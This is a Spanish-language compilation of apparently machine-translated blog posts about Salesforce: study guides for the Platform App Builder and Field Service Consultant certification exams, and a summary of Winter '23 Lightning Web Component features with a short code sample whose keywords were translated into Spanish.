El punto de partida para mí con cualquier examen es la Guía de estudio. Esto le brinda detalles del propósito y el formato del examen y luego un resumen punto por punto de las áreas en las que se evaluará y cuánto cuentan para la calificación general.

  • 60 preguntas de opción múltiple/selección múltiple: 105 minutos
  • 63% es el puntaje de aprobación
  • Secciones de examen y ponderación
    • Fundamentos de Salesforce : 23%
    • Modelado y gestión de datos: 22%
    • Lógica de Negocios y Automatización de Procesos : 28%
    • Interfaz de usuario: 17%
    • Implementación de la aplicación : 10 %
  • La tarifa del examen es de $ 200 más los impuestos aplicables.
  • Tarifa de repetición: USD 100, más impuestos aplicables según lo exija la ley local
  • Guía del examen de certificación de Platform App Builder
  • Programa tu examen de certificación aquí

Lo que suceda a continuación depende de cómo le guste estudiar: si encuentra videos de la mejor manera, el principal catálogo de capacitación en línea tiene un excelente material, que incluye preguntas de verificación de conocimientos para ver si algo se mantiene. Si no tiene acceso a eso, hay una gran cantidad en el canal de Salesforce en YouTube.

Soy un gran admirador de la palabra escrita, por lo que generalmente me dirijo a la ayuda en línea y voy directamente a la sección Hojas de consejos imprimibles y guías del usuario . Esta colección de documentos breves lo guía a través de la configuración y el uso de varios aspectos del sistema.

La siguiente lista no es exhaustiva; así que échale un vistazo y utilízalo como punto de partida:

  1. Descubra la certificación de asociado de Salesforce: una credencial de nivel de entrada para los nuevos pioneros
  2. Trailmix: Prepárese para su credencial de creador de aplicaciones de la plataforma Salesforce
  3. Módulo : estudio para el examen de Platform App Builder
  4. Superbadge : Especialista en seguridad
  5. Superbadge : Especialista en Automatización de Procesos
  6. Superbadge : Especialista en personalización de aplicaciones

Lo que necesita saber para suavizar su viaje

En un nivel muy alto, debe comprender los siguientes temas para aprobar el examen. Todo el mérito es para el equipo de Salesforce Trailhead y sus respectivos propietarios.

  1. Fundamentos de Salesforce : 23%
    1. Salesforce proporciona objetos y campos estándar para tipos de registros comerciales comunes, como cuentas, clientes potenciales y contactos. Pero cada organización es única y necesita una forma de personalizar cómo se almacenan los datos. Los objetos y campos personalizados permiten a las empresas gestionar y almacenar datos para adaptarse mejor a sus necesidades.
    2. Una aplicación Lightning es una colección de elementos que funcionan juntos para cumplir una función particular. En Lightning Experience, las aplicaciones Lightning brindan a sus usuarios acceso a conjuntos de objetos, pestañas y otros elementos, todo en un paquete conveniente en la barra de navegación.
    3. Entonces, ¿qué cosas puedes poner en una aplicación Lightning?
      1. La mayoría de los objetos estándar, incluidos Inicio, las noticias en tiempo real de Chatter, Grupos y Personas
      2. Los objetos personalizados de su organización
      3. Pestañas de Visualforce
      4. Pestañas de componentes Lightning
      5. Aplicaciones de lienzo a través de pestañas de Visualforce
      6. pestañas web
    4. Puede ver en el Administrador de aplicaciones que hay dos tipos de aplicaciones: Classic y Lightning. Una marca de verificación en la columna Visible en Lightning Experience significa que se puede acceder a la aplicación en Lightning Experience a través del Iniciador de aplicación y que es totalmente funcional.
      1. Las aplicaciones clásicas que no tienen una marca de verificación en la columna Visible en Lightning solo están habilitadas para nuestra IU de Salesforce Classic. Debido a que está trabajando en Lightning Experience, no encontrará esas aplicaciones solo clásicas en el Iniciador de aplicación. Las aplicaciones clásicas marcadas como visibles en Lightning Experience se pueden usar por completo en Lightning Experience, pero no aprovechan las mejoras de aplicaciones que ofrece Lightning Experience.
    5. Los diseños compactos controlan qué campos ven sus usuarios en el panel de aspectos destacados en la parte superior de un registro. También controlan los campos en la tarjeta de búsqueda expandida que ve cuando pasa el mouse sobre un enlace en los detalles del registro y en la sección de detalles cuando expande la actividad en la escala de tiempo de la actividad.
      1. Los diseños compactos ayudan a que su equipo sea más productivo al presentarles información de registro clave para que puedan administrar fácilmente su trabajo. Por ejemplo, muestre números de teléfono y regiones en una cuenta. O muestre etapas, cantidades y campos de propiedad en una oportunidad. Con diseños compactos, puede resaltar lo que sus usuarios necesitan ver de un vistazo cuando miran un registro.
    6. Las páginas Lightning son una colección de componentes Lightning organizados en regiones de la página. Puede personalizar la estructura de la página y la posición de los componentes con Lightning App Builder (obtenga más información en el módulo Lightning App Builder en Trailhead).
    7. Los vínculos personalizados pueden vincular a una URL externa, como http://www.google.com , una página de Visualforce o la intranet de su empresa. Los botones personalizados pueden conectar a los usuarios a aplicaciones externas, como páginas web, y lanzar enlaces personalizados.
      1. Hay tres tipos principales de botones y enlaces personalizados que puede crear.
        1. Botón Lista: aparece en una lista relacionada en una página de registro de objetos.
        2. Vínculo de la página de detalles: aparece en la sección Vínculos de los detalles del registro en una página de registro de objeto.
        3. Botón de página de detalles: aparece en el menú de acciones en el panel de aspectos destacados de una página de registro.
      2. Un botón de lista personalizada es un botón que puede agregar a una lista relacionada. Cuando crea un botón de lista para un objeto, puede agregar ese botón a la lista relacionada de ese objeto cuando la lista relacionada aparece en otros objetos. Dado que las auditorías energéticas están vinculadas a cuentas con un campo de relación de búsqueda, aparece automáticamente una lista relacionada con las auditorías energéticas en los registros de cuentas.
    8. Las acciones permiten a los usuarios realizar tareas rápidamente, como crear registros, registrar llamadas, enviar correos electrónicos y más. Con acciones personalizadas, puede hacer que la navegación y el flujo de trabajo de sus usuarios sean lo más fluidos posible al brindarles acceso rápido a la información más importante.
      1. Las acciones rápidas vienen en dos sabores diferentes.
        1. Las acciones específicas de objetos tienen relaciones automáticas con otros registros y permiten a los usuarios crear o actualizar rápidamente registros, registrar llamadas, enviar correos electrónicos y más, en el contexto de un objeto en particular.
        2. Las acciones globales se crean en un lugar diferente de la Configuración en el que se crean acciones específicas de objetos. Se denominan acciones globales porque se pueden colocar en cualquier lugar donde se admitan acciones. Use acciones globales para permitir que los usuarios registren detalles de llamadas, creen registros o envíen correos electrónicos sin salir de la página en la que se encuentran.
    9. Service Cloud es una aplicación de servicio al cliente fácil de usar que puede ayudarlo a brindar y realizar un seguimiento de un servicio excelente. Mantiene a sus clientes contentos y a su equipo de soporte cuerdo, ya sea que sus clientes se comuniquen con usted por correo electrónico, teléfono, redes sociales u otros canales desde computadoras de escritorio, dispositivos móviles o aplicaciones.
    10. Beneficios de la Consola de servicio
      Beneficio Descripción
      (1) Vistas divididas Desde el principio, puede ver una lista de casos junto con su espacio de trabajo para resolver rápidamente los problemas de los clientes entrantes.
      (2) Registros relacionados y componentes de listas relacionadas Desde el primer momento, puede ver información relacionada con un cliente para obtener una imagen completa de su problema y quiénes son. Vaya a listas de casos similares y trabaje con listas para mantener sus casos organizados.
      (3) Componente del panel de aspectos destacados Sin configurar nada, localice exactamente lo que necesita al frente y al centro para responder a los clientes rápidamente.
      (4) Caja de alimentación compacta Comprenda la progresión del caso y el historial del caso de un vistazo con un feed de noticias y páginas preconfiguradas. Los íconos coloridos lo ayudan a distinguir entre personas e interacciones al instante, y puede agregar un comentario rápido para ayudar a sus clientes o equipo.
      (5) Componente de conocimiento Vea artículos sugeridos de su base de conocimiento para resolver casos más rápido, busque artículos para encontrar exactamente lo que necesita y adjunte soluciones comunes de casos similares. (Debe habilitar Lightning Knowledge primero).
      (6) Barra de utilidades preconfigurada Aumente la productividad con herramientas, como Notas para anotar cosas o Historial para volver a los registros vistos recientemente.
    11. La gestión de casos significa organizar los casos de los clientes en un solo lugar y asegurarse de que vayan a la persona adecuada, para obtener la respuesta correcta, en el momento adecuado. Service Cloud hace todo eso entre bastidores con herramientas de automatización. El servicio es más fácil, más rápido y mejor con un poco de automatización.
      1. Herramientas de gestión de casos en Salesforce
        Colas Priorice automáticamente la carga de trabajo de su equipo de soporte mediante la creación de listas desde las cuales los agentes específicos pueden intervenir para resolver ciertos tipos de casos.
        Reglas de asignación Asigne automáticamente casos entrantes a agentes específicos para que las personas adecuadas trabajen en los casos correctos.
        Reglas de escalada Escalar automáticamente los casos a las personas adecuadas cuando los casos no se resuelvan en un tiempo determinado.
        Reglas de respuesta automática Envíe automáticamente respuestas de correo electrónico personalizadas a los clientes según los detalles de cada caso.
    12. Plan para la automatización de casos: las respuestas determinan qué herramientas utilizará para automatizar la gestión de casos.
      Pregunta Responder Herramienta
      ¿Los agentes de soporte trabajan en equipo en temas específicos? Sí, algunos agentes elaboran una lista de correos electrónicos a medida que llegan de los clientes. Colas
      ¿Cómo está estructurado el equipo de soporte? Contamos con equipos de soporte Gold y Platinum. El soporte Platinum comparte una carga de trabajo. colas o

      Reglas de asignación

      ¿Los agentes de soporte trabajan en productos específicos o tienen habilidades especiales? Algunos agentes trabajan en la instalación de paneles solares mientras que otros trabajan en el rendimiento de los paneles solares. Reglas de asignación
      ¿Los casos deben escalarse a alguien si no se resuelven en un tiempo específico? Sí, no podemos hacer que los clientes esperen más de 5 horas para resolver sus problemas. Reglas de escalada
      ¿Los clientes deben recibir respuestas automáticas? Sí, queremos que los clientes sepan que recibimos su problema y que nos preocupamos por ellos. Reglas de respuesta automática
    13. Plan de compromiso digital
      Pregunta Responder
      ¿Cuál es el tamaño máximo de los archivos adjuntos de correo electrónico admitidos? Menos de 25 MB está bien.
      ¿Los correos electrónicos salientes de Salesforce deben enrutarse a través de los servidores de correo electrónico de Ursa Major Solar por razones de seguridad o cumplimiento? No, los correos electrónicos salientes pueden enrutarse a través de Salesforce.
      ¿El servicio de atención al cliente utiliza plantillas de correo electrónico y, de ser así, existen requisitos de marca? No, no usamos plantillas de correo electrónico, pero deberíamos hacerlo en el futuro para mantener la coherencia. También deberíamos agregar nuestro logotipo a las plantillas de correo electrónico en algún momento.
      ¿Podemos agregar un fragmento de código al sitio web de nuestro cliente para mostrar un formulario web? Si no hay problema.
      ¿Necesitamos crear campos de casos personalizados para capturar información para el formulario web? No, no ahora. Veamos cómo funciona esto primero.
    14. Opciones de interacción digital con Service Cloud.
      Voz, Call Center y Open CTI Aumente la productividad del teléfono mediante la integración de Salesforce con sistemas de integración de telefonía informática (CTI) de terceros. Vea los datos de Salesforce para las llamadas entrantes, realice llamadas salientes directamente desde la consola e informe sobre el resultado de la llamada, la duración y más.
      Centro de ayuda de autoservicio Ayude a los clientes a encontrar respuestas, registrar casos y actualizar pedidos por su cuenta desde experiencias web de autoservicio. Personalice, cree y marque centros de ayuda con plantillas, componentes y aplicaciones fáciles de usar.
      Atención al cliente en redes sociales Ayude a los agentes de soporte a escuchar, responder y registrar casos para clientes en plataformas sociales como Twitter, Instagram, Facebook y más. Use palabras clave, clasificadores y detección de idioma para asegurarse de que los agentes encuentren las publicaciones correctas y trabajen en los problemas correctos.
      Chat y servicio integrado Interactúe con los clientes que navegan por la web con chat en vivo en tiempo real. Integre rápidamente capacidades de chat discretas en los sitios web de la empresa para navegadores móviles y de escritorio para permitir que los clientes conversen con los agentes y desvíen los casos antes de que se registren.
      Complementos para Mobile & Visual Remote Assistant Agregue servicio a las aplicaciones móviles para que los clientes puedan obtener ayuda de las aplicaciones en teléfonos y tabletas. Con un SDK (kit de desarrollo de software), los desarrolladores pueden permitir que los clientes creen y administren casos, chateen en vivo con agentes de soporte, chaten por video y compartan pantalla con agentes (Visual Remote Assistant) y vean artículos de la base de conocimientos sobre la marcha.
      Mensajería Interactúe con los clientes utilizando aplicaciones de mensajería como texto SMS y Facebook Messenger, para que puedan conectarse con los agentes de soporte al instante desde cualquier lugar. Ayude a los agentes a administrar varias conversaciones de texto a la vez y ver cada texto junto con los datos relevantes de Salesforce.
      Servicio de campo Apoye las visitas in situ en el campo con soluciones móviles como horarios de trabajo, inventario de camionetas y más, con o sin conexiones web.
    15. Las soluciones de AppExchange son la forma rápida y sencilla de ampliar la funcionalidad principal de Salesforce. Hay algo para cada desafío empresarial.
      Escribe Descripción
      aplicaciones Aplicaciones completas y especializadas
      Componentes Bloques de construcción utilizados para agregar funcionalidad a páginas, aplicaciones y soluciones Bolt
      Soluciones de pernos Soluciones industriales combinadas con servicios de socios
      Datos de rayos Datos de terceros para enriquecer sus datos de CRM
      Soluciones de flujo Acciones de flujo: elementos independientes que agregan funcionalidad a los flujos de proceso
      Plantillas de flujo: procesos comerciales preconstruidos, integrales, configurables y adaptados para adaptarse a casos de uso específicos de la industria
      Consultores Expertos que poseen un profundo conocimiento de la industria y habilidades comprobadas de Salesforce
    16. Las soluciones de AppExchange tienen varias cosas en común. Ellos:
      1. Ampliar la funcionalidad de Salesforce.
      2. Se puede distribuir a otros.
      3. Ejecutar en la plataforma Salesforce.
      4. Acelere el desarrollo de soluciones.
    17. Todas las soluciones de AppExchange comparten algunas cualidades importantes.
      1. Fácil de instalar : miles de soluciones se instalan con solo unos pocos clics.
      2. Fácil de configurar : integre y configure soluciones con clics, no con código.
      3. Revisión por pares : hay más de 80 000 revisiones por pares de las soluciones de AppExchange.
      4. Seguridad probada : para aparecer en AppExchange, cada solución pasa una revisión de seguridad rigurosa.
    18. Puede administrar el acceso a nivel de registro de estas cuatro maneras.
      1. Los valores predeterminados de toda la organización especifican el nivel predeterminado de acceso que los usuarios tienen a los registros de los demás. Utiliza la configuración de uso compartido de toda la organización para bloquear sus datos al nivel más restrictivo y luego usa las otras herramientas de seguridad y uso compartido a nivel de registro para otorgar acceso de forma selectiva a otros usuarios.
      2. Las jerarquías de funciones otorgan acceso a los usuarios que se encuentran más arriba en la jerarquía a todos los registros que pertenecen a los usuarios que se encuentran por debajo de ellos en la jerarquía. Las jerarquías de roles no tienen que coincidir exactamente con su organigrama. En su lugar, cada rol en la jerarquía debe representar un nivel de acceso a los datos que necesita un usuario o grupo de usuarios.
      3. Las reglas de colaboración son excepciones automáticas a los valores predeterminados de toda la organización para grupos particulares de usuarios, por lo que pueden acceder a registros que no son de su propiedad o que normalmente no pueden ver. Las reglas de colaboración, como las jerarquías de funciones, solo se utilizan para dar acceso a los registros a usuarios adicionales. No pueden ser más estrictos que la configuración predeterminada de toda su organización.
      4. El uso compartido manual permite a los propietarios de registros particulares compartirlos con otros usuarios. Aunque el uso compartido manual no está automatizado como la configuración de uso compartido en toda la organización, las jerarquías de roles o las reglas de uso compartido, puede ser útil en algunas situaciones, como cuando un reclutador que se va de vacaciones necesita asignar temporalmente la propiedad de una solicitud de empleo a otra persona.
    19. La auditoría proporciona información importante para diagnosticar posibles problemas de seguridad o tratar problemas reales. Alguien en su organización debe auditar regularmente para detectar posibles abusos. Busque cambios inesperados o patrones de uso.
      1. Campos de modificación de registros: todos los objetos incluyen campos para almacenar el nombre del usuario que creó el registro y quién lo modificó por última vez. Esto proporciona alguna información básica de auditoría.
      2. Historial de inicio de sesión: puede revisar una lista de intentos de inicio de sesión exitosos y fallidos durante los últimos seis meses. Para obtener más información, consulte Supervisar el historial de inicio de sesión .
      3. Seguimiento del historial de campos: puede activar la auditoría para realizar un seguimiento automático de los cambios en los valores de los campos individuales. Aunque la auditoría a nivel de campo está disponible para todos los objetos personalizados, solo algunos objetos estándar la permiten. Para obtener más información, consulte Seguimiento del historial de campos .
      4. Pista de auditoría de configuración: la Pista de auditoría de configuración registra cuándo se realizan modificaciones en la configuración de su organización. Para obtener más información, consulte Supervisar cambios en la configuración .
    20. Salesforce Identity le permite brindar a las personas adecuadas el acceso correcto a los recursos correctos en el momento correcto. Usted controla quién puede acceder a sus organizaciones y quién puede utilizar las aplicaciones que se ejecutan en Salesforce Platform, localmente, en otras nubes y en dispositivos móviles.
    21. Las principales características de Salesforce Identity.
      1. Inicio de sesión único
      2. Aplicaciones conectadas
      3. Inicio de sesión social
      4. Autenticación multifactor
      5. Mi dominio
      6. Gestión centralizada de cuentas de usuario
      7. Aprovisionamiento de usuarios
      8. Lanzador de aplicaciones
    22. Estos son los tres protocolos que siguen Salesforce y otros proveedores de identidad para implementar soluciones de identidad.
      1. SAML
      2. Autenticación automática 2.0
      3. Conexión de identificación abierta
    23. Especialista en paneles e informes de Lightning Experience
    24. La aplicación móvil Salesforce es una aplicación de clase empresarial que brinda a sus usuarios acceso instantáneo a los datos de CRM de su empresa desde un teléfono o tableta. Estas son algunas de las razones por las que la aplicación es tan increíble.
      1. La aplicación móvil se incluye con cada licencia de Salesforce. Sí, nos has oído bien, es gratis. Aplazar la implementación de su dispositivo móvil es básicamente como prender fuego a montones de dinero.
      2. La aplicación es plug-and-play , lo que significa que los usuarios simplemente la descargan de App Store® o Google Play™ y listo. Funciona fuera de la caja sin necesidad de configuración. Es muy rápido, en serio. En el tiempo que le tomó leer este párrafo, es posible que ya haya instalado la aplicación e iniciado sesión.
      3. La aplicación es multiplataforma , por lo que se ejecuta en los sistemas operativos Android e iOS. Automáticamente, sin que tengas que hacer ningún trabajo de desarrollo.
      4. La aplicación tiene capacidades fuera de línea. Sus usuarios móviles no se verán afectados por señales celulares caprichosas, regulaciones de la FAA, viajes en metro o edificios estilo búnker.
      5. Funciona a la perfección con la versión de escritorio de Lightning Experience , por lo que los usuarios pueden cambiar entre los dos sin perder el ritmo.
      6. No es solo una aplicación. es una plataforma Debido a que la plataforma Salesforce impulsa la aplicación móvil, es infinitamente personalizable. Puede usar herramientas de apuntar y hacer clic para personalizarlo.
    25. Tres características que puede usar para personalizar la aplicación móvil.
      1. Acciones rápidas
      2. Diseños compactos
      3. Navegación móvil, para aplicaciones Lightning y la aplicación Solo móvil
  2. Modelado y gestión de datos: 22%
    1. Los clientes potenciales son personas y empresas que ha identificado como clientes potenciales. Puede encontrar clientes potenciales de varias maneras. Muchos de sus clientes potenciales pueden ser referidos por otros clientes satisfechos. También puede recopilar clientes potenciales cuando los clientes se comuniquen con usted en su sitio web, pasen por su stand en una conferencia o mediante intercambios de información con empresas asociadas. En Salesforce, la información sobre prospectos se almacena en registros de prospectos.
      1. Algunas grandes ventajas de usar clientes potenciales. Puede realizar un mejor seguimiento, generar informes y orientar las campañas de marketing a clientes potenciales. Los clientes potenciales pueden ayudarlo a concentrarse en los tratos potenciales que tienen más probabilidades de cerrarse.
    2. Utilice el espacio de trabajo para realizar un seguimiento de las interacciones con los clientes potenciales, consultar el historial de campañas y planificar actividades futuras.
      1. Si el cliente potencial está involucrado en alguna campaña de marketing, se enumeran en el Historial de campañas para el cliente potencial.
      2. Revise la pestaña Detalles del cliente potencial para encontrar y actualizar la información sobre el cliente potencial.
      3. Use la pestaña Actividad del cliente potencial para registrar sus llamadas y correos electrónicos para ayudarlo a recordar de qué hablaron y cómo respondió el cliente potencial: planifique para el futuro creando Tareas o Eventos .
      4. Use la pestaña Noticias del cliente potencial para consultar las últimas noticias de la industria del cliente potencial. Inicie sesión con su cuenta de Twitter para buscar y seguir el feed de Twitter del cliente potencial.
      5. Conéctese con sus compañeros de trabajo para hacer preguntas, buscar consejos o proporcionar información en la pestaña de Chatter del cliente potencial. Las noticias en tiempo real de Chatter para el registro también se muestran cuando crea actividades.
    3. Puede convertir el registro de prospecto en una oportunidad cuando califica un prospecto. Luego, trabaja su oportunidad hasta que cierra el trato, ya sea completándolo o cancelándolo.
      1. Cuando convierte un prospecto, Salesforce usa la información almacenada en el registro del prospecto para crear una cuenta comercial, un contacto y una oportunidad. Si habilitó cuentas personales y el registro de cliente potencial no incluía el nombre de una empresa, el cliente potencial se convierte en una cuenta personal y una oportunidad.
  3. Lógica de Negocios y Automatización de Procesos : 28%
  4. Interfaz de usuario: 17%
    1. Lightning App Builder es una herramienta de apuntar y hacer clic que facilita la creación de páginas personalizadas para la aplicación móvil Salesforce y Lightning Experience, brindando a sus usuarios todo lo que necesitan en un solo lugar.
    2. Con Lightning App Builder, puede crear:
      1. Aplicaciones de una sola página que profundizan en páginas estándar
      2. Aplicaciones de estilo de panel, como aplicaciones para realizar un seguimiento de las principales perspectivas de ventas o clientes potenciales clave para el trimestre
      3. Aplicaciones de "punto" para resolver una tarea en particular, como una aplicación de gastos para que los usuarios ingresen los gastos y controlen los gastos que han enviado.
      4. Páginas de registro personalizadas para sus objetos, adaptadas a las necesidades de sus usuarios
      5. Páginas de inicio personalizadas que contienen los componentes y funciones que sus usuarios utilizan más
    3. Las páginas Lightning admiten estos componentes:
      1. Componentes estándar: los componentes estándar son componentes Lightning creados por Salesforce.
      2. Componentes personalizados: los componentes personalizados son componentes Lightning que usted o alguien más ha creado. Puede configurar componentes Lightning personalizados para que funcionen en Lightning App Builder.
      3. Componentes de terceros en AppExchange : AppExchange proporciona un mercado para componentes Lightning. Puede encontrar paquetes que contienen componentes ya configurados y listos para usar en Lightning App Builder.
    4. Puede crear diferentes tipos de páginas Lightning con Lightning App Builder. Vamos a ver estos tres tipos.
      1. Página de aplicación : use una página de aplicación para crear una página de inicio para una aplicación de terceros que puede agregar directamente a los menús de navegación de la aplicación móvil Salesforce y Lightning Experience. Luego, sus usuarios tienen una página de inicio de la aplicación donde pueden acceder rápidamente a los objetos y elementos más importantes.
      2. Página de inicio: cree páginas de inicio con características relevantes para tipos específicos de usuarios y asigne las páginas personalizadas a diferentes aplicaciones o combinaciones de aplicación y perfil de usuario. Las páginas de inicio personalizadas solo se admiten en Lightning Experience.
      3. Página de registro : con una página de registro, puede crear una versión personalizada de la página de registro de un objeto, adaptándola a las necesidades de sus usuarios. Las páginas de registro personalizadas se admiten en Lightning Experience y en la aplicación móvil Salesforce.
    5. También puede personalizar la página para diferentes tipos de usuarios y asignar páginas personalizadas a diferentes aplicaciones y combinaciones de aplicaciones y perfiles.
    6. Tienes cuatro opciones para activar la página de registro de rayos.
      • Haga que la página sea la organización predeterminada para el objeto.
      • Convierta la página en la página de registro de objetos predeterminada para aplicaciones Lightning específicas.
      • Asigne la página a una combinación de aplicaciones Lightning, tipos de registros y perfiles.
      • Asigne la página a un factor de forma, como una computadora de escritorio o un teléfono.
    7. Puede crear un componente Lightning personalizado utilizando dos modelos de programación, componentes web Lightning y componentes Aura.
    8. Sus componentes Lightning personalizados no funcionan automáticamente en páginas Lightning o en Lightning App Builder. Para que un componente personalizado se pueda utilizar en ambos, debe configurar el componente y su paquete de componentes para que sean compatibles con Lightning App Builder y páginas Lightning.
  5. Implementación de la aplicación : 10 %

Recursos adicionales

Algunos blogs lo ayudan a prepararse para el examen de Salesforce Certified Platform App Builder.

  1. Libro: Certificación de Salesforce Platform App Builder: una guía de estudio práctica .
  2. Regístrese en el seminario web de días de certificación de Salesforce para: certificación de Platform App Builder
  3. Capacitación de instructores principales por Trailhead
    1. Trailhead Virtual Bootcamp para Platform App Builder (TVB403)
    2. Prepárese para su examen de certificación de Platform App Builder (CRT403)
    3. Desarrollo declarativo para creadores de aplicaciones de plataforma ampliado (DEX-403E)

Conclusión

Si tiene experiencia básica con todos los temas anteriores, aprobar el examen será pan comido y podrá obtener el codiciado examen de certificación Salesforce Certified Platform App Builder. Sin embargo, si no tiene suficiente experiencia (6 a 9 meses) con la plataforma de Salesforce y planea convertirse en un Creador de aplicaciones de plataforma certificado. Le sugiero que dibuje un plan de 6 a 9 meses (finalice el Trailhead anterior para prepararse).

Espero que encuentre útiles estos consejos y recursos. Si pones el tiempo y el esfuerzo, tendrás éxito. ¡Feliz estudio y buena suerte!

Evaluación formativa:

¡Quiero saber de ti!

¿Ha realizado el examen de creación de aplicaciones de plataforma certificada de Salesforce? ¿Te estás preparando para el examen ahora? ¡Comparte tus consejos en los comentarios!

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/09/16/salesforce-platform-app-builder-certification-exam/

Categories
Developers

¡Lanzamiento Winter'23 de las 5 mejores gemas del componente web Lightning de Salesforce!

Última actualización el 10 de septiembre de 2022 por Rakesh Gupta

El marco moderno de Lightning Component es un marco de interfaz de usuario para desarrollar aplicaciones web dinámicas para dispositivos móviles y de escritorio. Como es el caso con cada lanzamiento , el último lanzamiento de Winter'23 está repleto de características ricas, que incluyen el   ¡Características del componente Lightning recién agregadas!

Actualmente, el Winter'23   el lanzamiento está bajo el programa de pre-lanzamiento .   Si no has leído las 577 páginas de Salesforce Winter '23   notas de la versión, consulte el resumen rápido de la versión Winter '23 y las 10 principales gemas de Salesforce Lightning Experience Escrito por mí.

Revisé las notas de la versión y destaqué las capacidades agregadas a las características del Componente web Lightning . Créame; ¡Fue difícil detenerse en solo cinco! Para comenzar, esta es mi opinión sobre las características más geniales del componente web Lightning del lanzamiento de Winter'23 .

  1. Sincronice los datos de los componentes sin actualizar la página mediante la API RefreshView (piloto) : ya sea impulsada por el usuario o invocada por la aplicación, la capacidad de sincronizar datos sin recargar una página completa es un requisito clave de la experiencia del usuario. El nuevo módulo lightning/refresh y la API RefreshView proporcionan una forma estándar de actualizar los datos de los componentes en LWC y Aura. Anteriormente, LWC carecía de una API de actualización de datos, y Aura solo admitía el legado, force:refreshView , que no cumple con los requisitos del desarrollo web moderno.
    1. RefreshView API actualiza los datos para una jerarquía específica de componentes, conocida como vista, sin recargar una página completa. Esta actualización garantiza una sincronización completa con los datos obtenidos externamente por los componentes de esa vista. RefreshView API puede actualizar datos para contenedores de la plataforma Salesforce y componentes personalizados.
  2. Cree superposiciones con el nuevo componente modal : use modales para interrumpir el flujo de trabajo de un usuario y llamar la atención sobre un mensaje importante. Un modal, que muestra el mensaje en la parte superior de la ventana de la aplicación actual, requiere que el usuario interactúe con él para recuperar el control de la aplicación.
    1. Para crear un componente modal, importe LightningModal desde lightning/modal en su archivo JavaScript. Luego, cree una clase de componente que amplíe LightningModal .
       /* c/miModal.js */ importar {api} desde 'lwc';
      importar LightningModal desde 'lightning/modal'; exportar clase predeterminada MyModal extiende LightningModal { manejarOkay() { this.close('bien'); }
      }

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/09/10/top-5-lightning-web-component-gems-of-salesforce-winter23-release/

Categories
Developers

Cómo aprobar el examen de certificación de consultor de servicio de campo de Salesforce

Después de temer y demorar un par de veces, finalmente reuní el coraje para presentarme hoy para el examen de certificación de Consultor de servicio de campo . Y logré pasarlo en mi segundo intento. Entonces, ¡sigue el ' Camino de ladrillos amarillos '! La primera vez que me presenté a este examen fue el 21 de marzo de 2020.

Gracias a Salesforce por ofrecer capacitación gratuita dirigida por un instructor a los MVP de Salesforce. Immesnaly me ayudó a prepararme para el examen de certificación.

Tengo aproximadamente 1,6 años de experiencia en la implementación o gestión de rayos de servicio de campo. La experiencia, sin duda, me ayudó a aprobar este examen con facilidad. Pero, ¿qué sucede si, se pregunta, uno no tiene la oportunidad de adquirir experiencia en Field Service Lightning? Entonces, tomemos una pausa de un minuto y pensemos cómo alguien, que no tuvo la oportunidad de trabajar en la implementación de Field Service Lightning, puede aparecer y aprobar el examen. Si caes en esta categoría, ¡bienvenido al blog correcto en el momento correcto! Al leer este artículo desde el principio hasta el final, tendrá una comprensión clara de cómo aprobar el examen de Certificación de consultor de servicio de campo y podrá diseñar un plan y una estrategia para hacerlo.

Entonces, ¿quién es un candidato ideal para el examen?

El examen de consultor de Salesforce Field Service Lightning está destinado a consultores con la experiencia requerida en la implementación de Salesforce Service Cloud y Field Service Lightning. Además, como consultor, se le pedirá que diseñe e implemente soluciones que respalden los procesos y requisitos comerciales del cliente mediante el uso del producto Field Service Lightning. Asimismo, será su responsabilidad administrar los paquetes y la aplicación Field Service Lightning Mobile. Además, como consultor de Feild Service Lightning, debe tener experiencia en la industria de servicios de campo, experiencia en soluciones móviles y una sólida comprensión del modelo de objetos central de Salesforce.

El consultor de servicio de campo certificado de Salesforce tiene la siguiente experiencia:

  • 1-2 años como analista de negocios
  • 1+ años en la industria de servicios de campo
  • Más de 2 años de experiencia en servicios y soporte

Una Certificación de Consultor de Field Service impulsaría su carrera en varios aspectos, ¡porque demostrará su conocimiento de la Implementación de Field Service Lightning junto con su experiencia en Salesforce!

Camino de ladrillos amarillos: ¡establezca un cronograma estricto de preparación para el examen!

Después de decidir presentarse para el examen, es hora de recopilar información sobre el examen y pensar qué pasos implementará para aprobarlo. Una vez que tenga una línea de tiempo concreta, comience a pensar en cómo integrará un plan de estudio sólido con el resto de sus responsabilidades: equilibrio entre el trabajo y el hogar, etc. Tener una fecha concreta para estudiar lo ayudará a mantenerse motivado.

A continuación se presentan algunos detalles sobre el examen y los materiales de estudio:

  • 65 preguntas de opción múltiple/selección múltiple – 105 minutos
  • 63% es el puntaje de aprobación
  • La tarifa del examen es de $ 200 más los impuestos aplicables.
  • Las certificaciones de administrador certificado de Salesforce y consultor de Salesforce Service Cloud son requisitos previos para este examen.

La siguiente lista no es exhaustiva; así que échale un vistazo y utilízalo como punto de partida:

  1. Guía de examen de consultor de servicio de campo certificado de Salesforce
  2. Trailhead Trailmix: prepárese para su credencial de consultor de servicio de campo de Salesforce
  3. Todo sobre Field Service Lightning – Horas de Apex
  4. Registro de horas de oficina de socios
  5. Trail: póngase en camino con el servicio de campo
  6. Trail – Servicio de campo de supercarga
  7. Guía completa de Field Service Book de Salesforce
  8. Guía para desarrolladores de servicios de campo

Lo que necesita saber para suavizar su viaje

En un nivel muy alto, debe comprender los siguientes temas para aprobar el examen. Todo el mérito es para el equipo de Salesforce Trailhead y sus respectivos propietarios.

  1. Utilice este enlace para registrarse en una organización de edición para desarrolladores gratuita. Luego, siga los pasos mencionados aquí para comenzar a usar las funciones de Field Service Lightning.
  2. Familiarícese con las palabras clave de Field Service Lightning
    1. Regla de coincidencia extendida
      1. Este tipo de regla de trabajo permite hacer coincidir un campo de búsqueda en la cita de servicio con una lista de valores (lista relacionada) en el recurso de servicio.
      2. Proporciona una forma versátil y eficiente de cumplir con los requisitos comerciales y limitar el número de candidatos.
    2. Regla de conteo de programación
      1. Especifique la carga de trabajo diaria máxima que se puede asignar a un recurso.
      2. Una regla de trabajo de programación considera una capacidad de recurso modelada a través de un campo numérico en el objeto de recurso de servicio.
    3. Disponibilidad basada en turnos
      1. Cree y asigne turnos para prepararse para vacaciones, fuera de horario y cobertura de fines de semana, o programe recursos que trabajen en horarios no estándar. Los turnos se asignan a Recursos de servicio y se pueden vincular a Territorios de servicio cuando sea relevante.
      2. Proceso típico de gestión de turnos
        1. Crear
        2. Asignar
        3. Cuota
        4. Actualización del monitor
      3. Shift hereda la zona horaria del territorio al que se aplica
    4. Turnos Designados
